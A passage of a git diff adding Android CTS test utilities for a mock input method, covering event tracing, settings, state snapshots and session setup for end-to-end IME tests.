+ sb.append("{null},\n");
+ }
+ }
+ if (mCurrentPosition >= latest.mLength) {
+ sb.append(" ======== CurrentPosition ======== \n");
+ }
+ sb.append("}\n");
+ return sb.toString();
+ }
+
+ private static final void dumpBundle(@NonNull StringBuilder sb, @NonNull Bundle bundle) {
+ sb.append('{');
+ boolean first = true;
+ for (String key : bundle.keySet()) {
+ if (first) {
+ first = false;
+ } else {
+ sb.append(' ');
+ }
+ final Object object = bundle.get(key);
+ sb.append(key);
+ sb.append('=');
+ if (object instanceof EditorInfo) {
+ final EditorInfo info = (EditorInfo) object;
+ sb.append("EditorInfo{packageName=").append(info.packageName);
+ sb.append(" fieldId=").append(info.fieldId);
+ sb.append(" hintText=").append(info.hintText);
+ sb.append(" privateImeOptions=").append(info.privateImeOptions);
+ sb.append("}");
+ } else {
+ sb.append(object);
+ }
+ }
+ sb.append('}');
+ }
+
+ final static class ImeEventArray {
+ @NonNull
+ public final ImeEvent[] mArray;
+ public final int mLength;
+ public ImeEventArray(ImeEvent[] array, int length) {
+ mArray = array;
+ mLength = length;
+ }
+ }
+}
diff --git a/tests/inputmethod/mockime/src/com/android/cts/mockime/ImeEventStreamTestUtils.java b/tests/inputmethod/mockime/src/com/android/cts/mockime/ImeEventStreamTestUtils.java
new file mode 100644
index 0000000..1932474
--- /dev/null
+++ b/tests/inputmethod/mockime/src/com/android/cts/mockime/ImeEventStreamTestUtils.java
@@ -0,0 +1,131 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License
+ */
+
+package com.android.cts.mockime;
+
+import android.support.annotation.NonNull;
+import android.text.TextUtils;
+import android.view.inputmethod.InputBinding;
+
+import java.util.Optional;
+import java.util.concurrent.TimeoutException;
+import java.util.function.Predicate;
+
+/**
+ * A set of utility methods to avoid boilerplate code when writing end-to-end tests.
+ */
+public final class ImeEventStreamTestUtils {
+ private static final long TIME_SLICE = 50; // msec
+
+ /**
+ * Cannot be instantiated
+ */
+ private ImeEventStreamTestUtils() {}
+
+ /**
+ * Wait until an event that matches the given {@code condition} is found in the stream.
+ *
+ * <p>When this method succeeds to find an event that matches the given {@code condition}, the
+ * stream position will be set to the next to the found object then the event found is returned.
+ * </p>
+ *
+ * @param stream {@link ImeEventStream} to be checked.
+ * @param condition the event condition to be matched
+ * @param timeout timeout in millisecond
+ * @return {@link ImeEvent} found
+ * @throws TimeoutException when the no event is matched to the given condition within
+ * {@code timeout}
+ */
+ @NonNull
+ public static ImeEvent expectEvent(@NonNull ImeEventStream stream,
+ @NonNull Predicate<ImeEvent> condition, long timeout) throws TimeoutException {
+ try {
+ Optional<ImeEvent> result;
+ while (true) {
+ if (timeout < 0) {
+ throw new TimeoutException(
+ "event not found within the timeout: " + stream.dump());
+ }
+ result = stream.seekToFirst(condition);
+ if (result.isPresent()) {
+ break;
+ }
+ Thread.sleep(TIME_SLICE);
+ timeout -= TIME_SLICE;
+ }
+ final ImeEvent event = result.get();
+ if (event == null) {
+ throw new NullPointerException("found event is null: " + stream.dump());
+ }
+ stream.skip(1);
+ return event;
+ } catch (InterruptedException e) {
+ throw new RuntimeException("expectEvent failed: " + stream.dump(), e);
+ }
+ }
+
+ /**
+ * Assert that an event that matches the given {@code condition} will no be found in the stream
+ * within the given {@code timeout}.
+ *
+ * <p>Fails with {@link junit.framework.Assert#fail} if such an event is found within the given
+ * {@code timeout}.</p>
+ *
+ * <p>When this method succeeds, the stream position will not change.</p>
+ *
+ * @param stream {@link ImeEventStream} to be checked.
+ * @param condition the event condition to be matched
+ * @param timeout timeout in millisecond
+ */
+ public static void notExpectEvent(@NonNull ImeEventStream stream,
+ @NonNull Predicate<ImeEvent> condition, long timeout) {
+ try {
+ while (true) {
+ if (timeout < 0) {
+ return;
+ }
+ if (stream.findFirst(condition).isPresent()) {
+ throw new AssertionError("notExpectEvent failed: " + stream.dump());
+ }
+ Thread.sleep(TIME_SLICE);
+ timeout -= TIME_SLICE;
+ }
+ } catch (InterruptedException e) {
+ throw new RuntimeException("notExpectEvent failed: " + stream.dump(), e);
+ }
+ }
+
+ /**
+ * A specialized version of {@link #expectEvent(ImeEventStream, Predicate, long)} to wait for
+ * {@link android.view.inputmethod.InputMethod#bindInput(InputBinding)}.
+ *
+ * @param stream {@link ImeEventStream} to be checked.
+ * @param targetProcessPid PID to be matched to {@link InputBinding#getPid()}
+ * @param timeout timeout in millisecond
+ * @throws TimeoutException when "bindInput" is not called within {@code timeout} msec
+ */
+ public static void expectBindInput(@NonNull ImeEventStream stream, int targetProcessPid,
+ long timeout) throws TimeoutException {
+ expectEvent(stream, event -> {
+ if (!TextUtils.equals("bindInput", event.getEventName())) {
+ return false;
+ }
+ final InputBinding binding = event.getArguments().getParcelable("binding");
+ return binding.getPid() == targetProcessPid;
+ }, timeout);
+ }
+
+}
diff --git a/tests/inputmethod/mockime/src/com/android/cts/mockime/ImeSettings.java b/tests/inputmethod/mockime/src/com/android/cts/mockime/ImeSettings.java
new file mode 100644
index 0000000..11327a1
--- /dev/null
+++ b/tests/inputmethod/mockime/src/com/android/cts/mockime/ImeSettings.java
@@ -0,0 +1,149 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License
+ */
+
+package com.android.cts.mockime;
+
+import android.os.Parcel;
+import android.os.PersistableBundle;
+import android.support.annotation.ColorInt;
+import android.support.annotation.NonNull;
+import android.support.annotation.Nullable;
+
+/**
+ * An immutable data store to control the behavior of {@link MockIme}.
+ */
+public class ImeSettings {
+
+ @NonNull
+ private final String mEventCallbackActionName;
+
+ private static final String BACKGROUND_COLOR_KEY = "BackgroundColor";
+ private static final String INPUT_VIEW_HEIGHT_WITHOUT_SYSTEM_WINDOW_INSET =
+ "InputViewHeightWithoutSystemWindowInset";
+ private static final String WINDOW_FLAGS = "WindowFlags";
+ private static final String FULLSCREEN_MODE_ALLOWED = "FullscreenModeAllowed";
+ private static final String INPUT_VIEW_SYSTEM_UI_VISIBILITY = "InputViewSystemUiVisibility";
+
+ @NonNull
+ private final PersistableBundle mBundle;
+
+ ImeSettings(@NonNull Parcel parcel) {
+ mEventCallbackActionName = parcel.readString();
+ mBundle = parcel.readPersistableBundle();
+ }
+
+ @Nullable
+ String getEventCallbackActionName() {
+ return mEventCallbackActionName;
+ }
+
+ public boolean fullscreenModeAllowed(boolean defaultValue) {
+ return mBundle.getBoolean(FULLSCREEN_MODE_ALLOWED, defaultValue);
+ }
+
+ @ColorInt
+ public int getBackgroundColor(@ColorInt int defaultColor) {
+ return mBundle.getInt(BACKGROUND_COLOR_KEY, defaultColor);
+ }
+
+ public int getInputViewHeightWithoutSystemWindowInset(int defaultHeight) {
+ return mBundle.getInt(INPUT_VIEW_HEIGHT_WITHOUT_SYSTEM_WINDOW_INSET, defaultHeight);
+ }
+
+ public int getWindowFlags(int defaultFlags) {
+ return mBundle.getInt(WINDOW_FLAGS, defaultFlags);
+ }
+
+ public int getInputViewSystemUiVisibility(int defaultFlags) {
+ return mBundle.getInt(INPUT_VIEW_SYSTEM_UI_VISIBILITY, defaultFlags);
+ }
+
+ static void writeToParcel(@NonNull Parcel parcel, @NonNull String eventCallbackActionName,
+ @Nullable Builder builder) {
+ parcel.writeString(eventCallbackActionName);
+ if (builder != null) {
+ parcel.writePersistableBundle(builder.mBundle);
+ } else {
+ parcel.writePersistableBundle(PersistableBundle.EMPTY);
+ }
+ }
+
+ /**
+ * The builder class for {@link ImeSettings}.
+ */
+ public static final class Builder {
+ private final PersistableBundle mBundle = new PersistableBundle();
+
+ /**
+ * Controls whether fullscreen mode is allowed or not.
+ *
+ * <p>By default, fullscreen mode is not allowed in {@link MockIme}.</p>
+ *
+ * @param allowed {@code true} if fullscreen mode is allowed
+ * @see MockIme#onEvaluateFullscreenMode()
+ */
+ public Builder setFullscreenModeAllowed(boolean allowed) {
+ mBundle.putBoolean(FULLSCREEN_MODE_ALLOWED, allowed);
+ return this;
+ }
+
+ /**
+ * Sets the background color of the {@link MockIme}.
+ * @param color background color to be used
+ */
+ public Builder setBackgroundColor(@ColorInt int color) {
+ mBundle.putInt(BACKGROUND_COLOR_KEY, color);
+ return this;
+ }
+
+ /**
+ * Sets the input view height measured from the bottom system window inset.
+ * @param height height of the soft input view. This does not include the system window
+ * inset such as navigation bar
+ */
+ public Builder setInputViewHeightWithoutSystemWindowInset(int height) {
+ mBundle.putInt(INPUT_VIEW_HEIGHT_WITHOUT_SYSTEM_WINDOW_INSET, height);
+ return this;
+ }
+
+ /**
+ * Sets window flags to be specified to {@link android.view.Window#setFlags(int, int)} of
+ * the main {@link MockIme} window.
+ *
+ * <p>When {@link android.view.WindowManager.LayoutParams#FLAG_LAYOUT_IN_OVERSCAN} is set,
+ * {@link MockIme} tries to render the navigation bar by itself.</p>
+ *
+ * @param flags flags to be specified
+ * @see android.view.WindowManager
+ */
+ public Builder setWindowFlags(int flags) {
+ mBundle.putInt(WINDOW_FLAGS, flags);
+ return this;
+ }
+
+ /**
+ * Sets flags to be specified to {@link android.view.View#setSystemUiVisibility(int)} of
+ * the main soft input view (the returned view from {@link MockIme#onCreateInputView()}).
+ *
+ * @param visibilityFlags flags to be specified
+ * @see android.view.View
+ */
+ public Builder setInputViewSystemUiVisibility(int visibilityFlags) {
+ mBundle.putInt(INPUT_VIEW_SYSTEM_UI_VISIBILITY, visibilityFlags);
+ return this;
+ }
+ }
+}
diff --git a/tests/inputmethod/mockime/src/com/android/cts/mockime/ImeState.java b/tests/inputmethod/mockime/src/com/android/cts/mockime/ImeState.java
new file mode 100644
index 0000000..0b7fd04
--- /dev/null
+++ b/tests/inputmethod/mockime/src/com/android/cts/mockime/ImeState.java
@@ -0,0 +1,60 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License
+ */
+
+package com.android.cts.mockime;
+
+import android.os.Bundle;
+import android.support.annotation.NonNull;
+
+/**
+ * An immutable object that stores several runtime state of {@link MockIme}.
+ */
+public final class ImeState {
+ private final boolean mHasInputBinding;
+ private final boolean mHasDummyInputConnection;
+
+ /**
+ * @return {@code true} if {@link MockIme#getCurrentInputBinding()} returned non-null
+ * {@link android.view.inputmethod.InputBinding} when this snapshot was taken.
+ */
+ public boolean hasInputBinding() { return mHasInputBinding; }
+
+ /**
+ * @return {@code true} if {@link MockIme#getCurrentInputConnection()} returned non-dummy
+ * {@link android.view.inputmethod.InputConnection} when this snapshot was taken.
+ */
+ public boolean hasDummyInputConnection() { return mHasDummyInputConnection; }
+
+ ImeState(boolean hasInputBinding, boolean hasDummyInputConnection) {
+ mHasInputBinding = hasInputBinding;
+ mHasDummyInputConnection = hasDummyInputConnection;
+ }
+
+ @NonNull
+ final Bundle toBundle() {
+ final Bundle bundle = new Bundle();
+ bundle.putBoolean("mHasInputBinding", mHasInputBinding);
+ bundle.putBoolean("mHasDummyInputConnection", mHasDummyInputConnection);
+ return bundle;
+ }
+
+ @NonNull
+ static ImeState fromBundle(@NonNull Bundle bundle) {
+ final boolean hasInputBinding = bundle.getBoolean("mHasInputBinding");
+ final boolean hasDummyInputConnection = bundle.getBoolean("mHasDummyInputConnection");
+ return new ImeState(hasInputBinding, hasDummyInputConnection);
+ }
+}
diff --git a/tests/inputmethod/mockime/src/com/android/cts/mockime/MockIme.java b/tests/inputmethod/mockime/src/com/android/cts/mockime/MockIme.java
new file mode 100644
index 0000000..6ea2263
--- /dev/null
+++ b/tests/inputmethod/mockime/src/com/android/cts/mockime/MockIme.java
@@ -0,0 +1,450 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License
+ */
+
+package com.android.cts.mockime;
+
+import static android.view.WindowManager.LayoutParams.FLAG_LAYOUT_IN_OVERSCAN;
+
+import static com.android.cts.mockime.MockImeSession.MOCK_IME_SETTINGS_FILE;
+
+import android.content.ComponentName;
+import android.content.Context;
+import android.content.Intent;
+import android.inputmethodservice.InputMethodService;
+import android.os.Bundle;
+import android.os.IBinder;
+import android.os.Looper;
+import android.os.Parcel;
+import android.os.Process;
+import android.os.ResultReceiver;
+import android.os.SystemClock;
+import android.support.annotation.NonNull;
+import android.support.annotation.Nullable;
+import android.util.Log;
+import android.util.TypedValue;
+import android.view.Gravity;
+import android.view.View;
+import android.view.Window;
+import android.view.WindowInsets;
+import android.view.inputmethod.EditorInfo;
+import android.view.inputmethod.InputBinding;
+import android.widget.LinearLayout;
+import android.widget.RelativeLayout;
+import android.widget.TextView;
+
+import java.io.IOException;
+import java.io.InputStream;
+import java.util.concurrent.atomic.AtomicReference;
+import java.util.function.BooleanSupplier;
+import java.util.function.Supplier;
+
+/**
+ * Mock IME for end-to-end tests.
+ */
+public final class MockIme extends InputMethodService {
+
+ private static final String TAG = "MockIme";
+
+ static ComponentName getComponentName(@NonNull String packageName) {
+ return new ComponentName(packageName, MockIme.class.getName());
+ }
+
+ static String getImeId(@NonNull String packageName) {
+ return new ComponentName(packageName, MockIme.class.getName()).flattenToShortString();
+ }
+
+ @Nullable
+ private ImeSettings mSettings;
+
+ private final AtomicReference<String> mImeEventActionName = new AtomicReference<>();
+
+ @Nullable
+ String getImeEventActionName() {
+ return mImeEventActionName.get();
+ }
+
+ private class MockInputMethodImpl extends InputMethodImpl {
+ @Override
+ public void showSoftInput(int flags, ResultReceiver resultReceiver) {
+ getTracer().showSoftInput(flags, resultReceiver,
+ () -> super.showSoftInput(flags, resultReceiver));
+ }
+
+ @Override
+ public void hideSoftInput(int flags, ResultReceiver resultReceiver) {
+ getTracer().hideSoftInput(flags, resultReceiver,
+ () -> super.hideSoftInput(flags, resultReceiver));
+ }
+
+ @Override
+ public void attachToken(IBinder token) {
+ getTracer().attachToken(token, () -> super.attachToken(token));
+ }
+
+ @Override
+ public void bindInput(InputBinding binding) {
+ getTracer().bindInput(binding, () -> super.bindInput(binding));
+ }
+
+ @Override
+ public void unbindInput() {
+ getTracer().unbindInput(() -> super.unbindInput());
+ }
+ }
+
+ @Nullable
+ private ImeSettings readSettings() {
+ try (InputStream is = openFileInput(MOCK_IME_SETTINGS_FILE)) {
+ Parcel parcel = null;
+ try {
+ parcel = Parcel.obtain();
+ final byte[] buffer = new byte[4096];
+ while (true) {
+ final int numRead = is.read(buffer);
+ if (numRead <= 0) {
+ break;
+ }
+ parcel.unmarshall(buffer, 0, numRead);
+ }
+ parcel.setDataPosition(0);
+ return new ImeSettings(parcel);
+ } finally {
+ if (parcel != null) {
+ parcel.recycle();
+ }
+ }
+ } catch (IOException e) {
+ }
+ return null;
+ }
+
+ @Override
+ public void onCreate() {
+ getTracer().onCreate(() -> {
+ super.onCreate();
+ mSettings = readSettings();
+ if (mSettings == null) {
+ throw new IllegalStateException("Settings file is not found. "
+ + "Make sure MockImeSession.create() is used to launch Mock IME.");
+ }
+ mImeEventActionName.set(mSettings.getEventCallbackActionName());
+ final int windowFlags = mSettings.getWindowFlags(0);
+ if (windowFlags != 0) {
+ getWindow().getWindow().setFlags(windowFlags, windowFlags);
+ }
+ });
+ }
+
+ @Override
+ public void onConfigureWindow(Window win, boolean isFullscreen, boolean isCandidatesOnly) {
+ getTracer().onConfigureWindow(win, isFullscreen, isCandidatesOnly,
+ () -> super.onConfigureWindow(win, isFullscreen, isCandidatesOnly));
+ }
+
+ @Override
+ public boolean onEvaluateFullscreenMode() {
+ return getTracer().onEvaluateFullscreenMode(() ->
+ mSettings.fullscreenModeAllowed(false) && super.onEvaluateFullscreenMode());
+ }
+
+ private static final class KeyboardLayoutView extends LinearLayout {
+
+ @NonNull
+ final ImeSettings mSettings;
+
+ public KeyboardLayoutView(Context context, @NonNull ImeSettings imeSettings) {
+ super(context);
+
+ mSettings = imeSettings;
+
+ setOrientation(VERTICAL);
+
+ final int defaultBackgroundColor =
+ getResources().getColor(android.R.color.holo_orange_dark, null);
+ setBackgroundColor(mSettings.getBackgroundColor(defaultBackgroundColor));
+
+ final int mainSpacerHeight = mSettings.getInputViewHeightWithoutSystemWindowInset(
+ LayoutParams.WRAP_CONTENT);
+ {
+ final RelativeLayout layout = new RelativeLayout(getContext());
+ final TextView textView = new TextView(getContext());
+ final RelativeLayout.LayoutParams params = new RelativeLayout.LayoutParams(
+ RelativeLayout.LayoutParams.MATCH_PARENT,
+ RelativeLayout.LayoutParams.WRAP_CONTENT);
+ params.addRule(RelativeLayout.CENTER_IN_PARENT, RelativeLayout.TRUE);
+ textView.setLayoutParams(params);
+ textView.setTextSize(TypedValue.COMPLEX_UNIT_SP, 20);
+ textView.setGravity(Gravity.CENTER);
+ textView.setText(getImeId(getContext().getPackageName()));
+ layout.addView(textView);
+ addView(layout, LayoutParams.MATCH_PARENT, mainSpacerHeight);
+ }
+
+ final int systemUiVisibility = mSettings.getInputViewSystemUiVisibility(0);
+ if (systemUiVisibility != 0) {
+ setSystemUiVisibility(systemUiVisibility);
+ }
+ }
+
+ @Override
+ public WindowInsets onApplyWindowInsets(WindowInsets insets) {
+ final int windowFlags = mSettings.getWindowFlags(0);
+ if ((windowFlags & FLAG_LAYOUT_IN_OVERSCAN) == 0) {
+ return insets;
+ }
+
+ final int insetBottom = insets.getSystemWindowInsetBottom();
+
+ // Somehow immediately calling setPadding doesn't properly update the layout.
+ // TODO: Figure out why we have to delay this task.
+ post(() -> setPadding(0, 0, 0, insetBottom));
+
+ return insets.replaceSystemWindowInsets(
+ insets.getSystemWindowInsetLeft(),
+ insets.getSystemWindowInsetTop(),
+ insets.getSystemWindowInsetRight(),
+ 0 /* bottom */);
+ }
+ }
+
+ @Override
+ public View onCreateInputView() {
+ return getTracer().onCreateInputView(() -> new KeyboardLayoutView(this, mSettings));
+ }
+
+ @Override
+ public void onStartInput(EditorInfo editorInfo, boolean restarting) {
+ getTracer().onStartInput(editorInfo, restarting,
+ () -> super.onStartInput(editorInfo, restarting));
+ }
+
+ @Override
+ public void onStartInputView(EditorInfo editorInfo, boolean restarting) {
+ getTracer().onStartInputView(editorInfo, restarting,
+ () -> super.onStartInputView(editorInfo, restarting));
+ }
+
+ @Override
+ public void onFinishInputView(boolean finishingInput) {
+ getTracer().onFinishInputView(finishingInput,
+ () -> super.onFinishInputView(finishingInput));
+ }
+
+ @Override
+ public void onFinishInput() {
+ getTracer().onFinishInput(() -> super.onFinishInput());
+ }
+
+ @Override
+ public void onDestroy() {
+ getTracer().onDestroy(() -> super.onDestroy());
+ }
+
+ @Override
+ public AbstractInputMethodImpl onCreateInputMethodInterface() {
+ return getTracer().onCreateInputMethodInterface(() -> new MockInputMethodImpl());
+ }
+
+ private final ThreadLocal<Tracer> mThreadLocalTracer = new ThreadLocal<>();
+
+ private Tracer getTracer() {
+ Tracer tracer = mThreadLocalTracer.get();
+ if (tracer == null) {
+ tracer = new Tracer(this);
+ mThreadLocalTracer.set(tracer);
+ }
+ return tracer;
+ }
+
+ @NonNull
+ private ImeState getState() {
+ final boolean hasInputBinding = getCurrentInputBinding() != null;
+ final boolean hasDummyInputConnectionConnection =
+ !hasInputBinding
+ || getCurrentInputConnection() == getCurrentInputBinding().getConnection();
+ return new ImeState(hasInputBinding, hasDummyInputConnectionConnection);
+ }
+
+ /**
+ * Event tracing helper class for {@link MockIme}.
+ */
+ private static final class Tracer {
+
+ @NonNull
+ private final MockIme mIme;
+
+ private final int mThreadId = Process.myTid();
+
+ @NonNull
+ private final String mThreadName =
+ Thread.currentThread().getName() != null ? Thread.currentThread().getName() : "";
+
+ private final boolean mIsMainThread =
+ Looper.getMainLooper().getThread() == Thread.currentThread();
+
+ private int mNestLevel = 0;
+
+ private String mImeEventActionName;
+
+ public Tracer(@NonNull MockIme mockIme) {
+ mIme = mockIme;
+ }
+
+ private void sendEventInternal(@NonNull ImeEvent event) {
+ final Intent intent = new Intent();
+ intent.setPackage(mIme.getPackageName());
+ if (mImeEventActionName == null) {
+ mImeEventActionName = mIme.getImeEventActionName();
+ }
+ if (mImeEventActionName == null) {
+ Log.e(TAG, "Tracer cannot be used before onCreate()");
+ return;
+ }
+ intent.setAction(mImeEventActionName);
+ intent.putExtras(event.toBundle());
+ mIme.sendBroadcast(intent);
+ }
+
+ private void recordEventInternal(@NonNull String eventName, @NonNull Runnable runnable) {
+ recordEventInternal(eventName, runnable, new Bundle());
+ }
+
+ private void recordEventInternal(@NonNull String eventName, @NonNull Runnable runnable,
+ @NonNull Bundle arguments) {
+ recordEventInternal(eventName, () -> { runnable.run(); return null; }, arguments);
+ }
+
+ private boolean recordEventInternal(@NonNull String eventName,
+ @NonNull BooleanSupplier supplier) {
+ return recordEventInternal(eventName, () -> supplier.getAsBoolean(), new Bundle());
+ }
+
+ private <T> T recordEventInternal(@NonNull String eventName,
+ @NonNull Supplier<T> supplier) {
+ return recordEventInternal(eventName, supplier, new Bundle());
+ }
+
+ private <T> T recordEventInternal(@NonNull String eventName,
+ @NonNull Supplier<T> supplier, @NonNull Bundle arguments) {
+ final ImeState enterState = mIme.getState();
+ final long enterTimestamp = SystemClock.elapsedRealtimeNanos();
+ final long enterWallTime = System.currentTimeMillis();
+ final int nestLevel = mNestLevel;
+ ++mNestLevel;
+ T result;
+ try {
+ result = supplier.get();
+ } finally {
+ --mNestLevel;
+ }
+ final long exitTimestamp = SystemClock.elapsedRealtimeNanos();
+ final long exitWallTime = System.currentTimeMillis();
+ final ImeState exitState = mIme.getState();
+ sendEventInternal(new ImeEvent(eventName, nestLevel, mThreadName,
+ mThreadId, mIsMainThread, enterTimestamp, exitTimestamp, enterWallTime,
+ exitWallTime, enterState, exitState, arguments));
+ return result;
+ }
+
+ public void onCreate(@NonNull Runnable runnable) {
+ recordEventInternal("onCreate", runnable);
+ }
+
+ public void onConfigureWindow(Window win, boolean isFullscreen,
+ boolean isCandidatesOnly, @NonNull Runnable runnable) {
+ final Bundle arguments = new Bundle();
+ arguments.putBoolean("isFullscreen", isFullscreen);
+ arguments.putBoolean("isCandidatesOnly", isCandidatesOnly);
+ recordEventInternal("onConfigureWindow", runnable, arguments);
+ }
+
+ public boolean onEvaluateFullscreenMode(@NonNull BooleanSupplier runnable) {
+ return recordEventInternal("onEvaluateFullscreenMode", runnable);
+ }
+
+ public View onCreateInputView(@NonNull Supplier<View> supplier) {
+ return recordEventInternal("onCreateInputView", supplier);
+ }
+
+ public void onStartInput(EditorInfo editorInfo, boolean restarting,
+ @NonNull Runnable runnable) {
+ final Bundle arguments = new Bundle();
+ arguments.putParcelable("editorInfo", editorInfo);
+ arguments.putBoolean("restarting", restarting);
+ recordEventInternal("onStartInput", runnable, arguments);
+ }
+
+ public void onStartInputView(EditorInfo editorInfo, boolean restarting,
+ @NonNull Runnable runnable) {
+ final Bundle arguments = new Bundle();
+ arguments.putParcelable("editorInfo", editorInfo);
+ arguments.putBoolean("restarting", restarting);
+ recordEventInternal("onStartInputView", runnable, arguments);
+ }
+
+ public void onFinishInputView(boolean finishingInput, @NonNull Runnable runnable) {
+ final Bundle arguments = new Bundle();
+ arguments.putBoolean("finishingInput", finishingInput);
+ recordEventInternal("onFinishInputView", runnable, arguments);
+ }
+
+ public void onFinishInput(@NonNull Runnable runnable) {
+ recordEventInternal("onFinishInput", runnable);
+ }
+
+ public void onDestroy(@NonNull Runnable runnable) {
+ recordEventInternal("onDestroy", runnable);
+ }
+
+ public void attachToken(IBinder token, @NonNull Runnable runnable) {
+ final Bundle arguments = new Bundle();
+ arguments.putBinder("token", token);
+ recordEventInternal("attachToken", runnable, arguments);
+
+ }
+
+ public void bindInput(InputBinding binding, @NonNull Runnable runnable) {
+ final Bundle arguments = new Bundle();
+ arguments.putParcelable("binding", binding);
+ recordEventInternal("bindInput", runnable, arguments);
+ }
+
+ public void unbindInput(@NonNull Runnable runnable) {
+ recordEventInternal("unbindInput", runnable);
+ }
+
+ public void showSoftInput(int flags, ResultReceiver resultReceiver,
+ @NonNull Runnable runnable) {
+ final Bundle arguments = new Bundle();
+ arguments.putInt("flags", flags);
+ arguments.putParcelable("resultReceiver", resultReceiver);
+ recordEventInternal("showSoftInput", runnable, arguments);
+ }
+
+ public void hideSoftInput(int flags, ResultReceiver resultReceiver,
+ @NonNull Runnable runnable) {
+ final Bundle arguments = new Bundle();
+ arguments.putInt("flags", flags);
+ arguments.putParcelable("resultReceiver", resultReceiver);
+ recordEventInternal("hideSoftInput", runnable, arguments);
+ }
+
+ public AbstractInputMethodImpl onCreateInputMethodInterface(
+ @NonNull Supplier<AbstractInputMethodImpl> supplier) {
+ return recordEventInternal("onCreateInputMethodInterface", supplier);
+ }
+ }
+}
diff --git a/tests/inputmethod/mockime/src/com/android/cts/mockime/MockImeSession.java b/tests/inputmethod/mockime/src/com/android/cts/mockime/MockImeSession.java
new file mode 100644
index 0000000..ea6b465
--- /dev/null
+++ b/tests/inputmethod/mockime/src/com/android/cts/mockime/MockImeSession.java
@@ -0,0 +1,284 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License
+ */
+
+package com.android.cts.mockime;
+
+import static android.content.Context.MODE_PRIVATE;
+import static android.content.pm.PackageManager.COMPONENT_ENABLED_STATE_DISABLED;
+import static android.content.pm.PackageManager.COMPONENT_ENABLED_STATE_ENABLED;
+import static android.content.pm.PackageManager.DONT_KILL_APP;
+
+import android.app.UiAutomation;
+import android.content.BroadcastReceiver;
+import android.content.ComponentName;
+import android.content.Context;
+import android.content.Intent;
+import android.content.IntentFilter;
+import android.os.Handler;
+import android.os.HandlerThread;
+import android.os.Parcel;
+import android.os.ParcelFileDescriptor;
+import android.os.SystemClock;
+import android.provider.Settings;
+import android.support.annotation.GuardedBy;
+import android.support.annotation.NonNull;
+import android.support.annotation.Nullable;
+import android.text.TextUtils;
+import android.view.inputmethod.InputMethodManager;
+
+import com.android.compatibility.common.util.PollingCheck;
+
+import java.io.BufferedReader;
+import java.io.IOException;
+import java.io.InputStreamReader;
+import java.io.OutputStream;
+import java.nio.charset.StandardCharsets;
+import java.util.concurrent.TimeUnit;
+
+/**
+ * Represents an active Mock IME session, which provides basic primitives to write end-to-end tests
+ * for IME APIs.
+ *
+ * <p>To use {@link MockIme} via {@link MockImeSession}, you need to </p>
+ * <p>Public methods are not thread-safe.</p>
+ */
+public class MockImeSession implements AutoCloseable {
+ private final String mImeEventActionName =
+ "com.android.cts.mockime.action.IME_EVENT." + SystemClock.elapsedRealtimeNanos();
+
+ /** Setting file name to store initialization settings for {@link MockIme}. */
+ static final String MOCK_IME_SETTINGS_FILE = "mockimesettings.data";
+
+ private static final long TIMEOUT = TimeUnit.SECONDS.toMillis(10);
+
+ @NonNull
+ private final Context mContext;
+
+ private final HandlerThread mHandlerThread = new HandlerThread("EventReceiver");
+
+ private final static class EventStore {
+ private final static int INITIAL_ARRAY_SIZE = 32;
+
+ @NonNull
+ public final ImeEvent[] mArray;
+ public int mLength;
+
+ public EventStore() {
+ mArray = new ImeEvent[INITIAL_ARRAY_SIZE];
+ mLength = 0;
+ }
+
+ public EventStore(EventStore src, int newLength) {
+ mArray = new ImeEvent[newLength];
+ mLength = src.mLength;
+ System.arraycopy(src.mArray, 0, mArray, 0, src.mLength);
+ }
+
+ public EventStore add(ImeEvent event) {
+ if (mLength + 1 <= mArray.length) {
+ mArray[mLength] = event;
+ ++mLength;
+ return this;
+ } else {
+ return new EventStore(this, mLength * 2).add(event);
+ }
+ }
+
+ public ImeEventStream.ImeEventArray takeSnapshot() {
+ return new ImeEventStream.ImeEventArray(mArray, mLength);
+ }
+ }
+
+ private static final class MockImeEventReceiver extends BroadcastReceiver {
+ private final Object mLock = new Object();
+
+ @GuardedBy("mLock")
+ @NonNull
+ private EventStore mCurrentEventStore = new EventStore();
+
+ @NonNull
+ private final String mActionName;
+
+ public MockImeEventReceiver(@NonNull String actionName) {
+ mActionName = actionName;
+ }
+
+ @Override
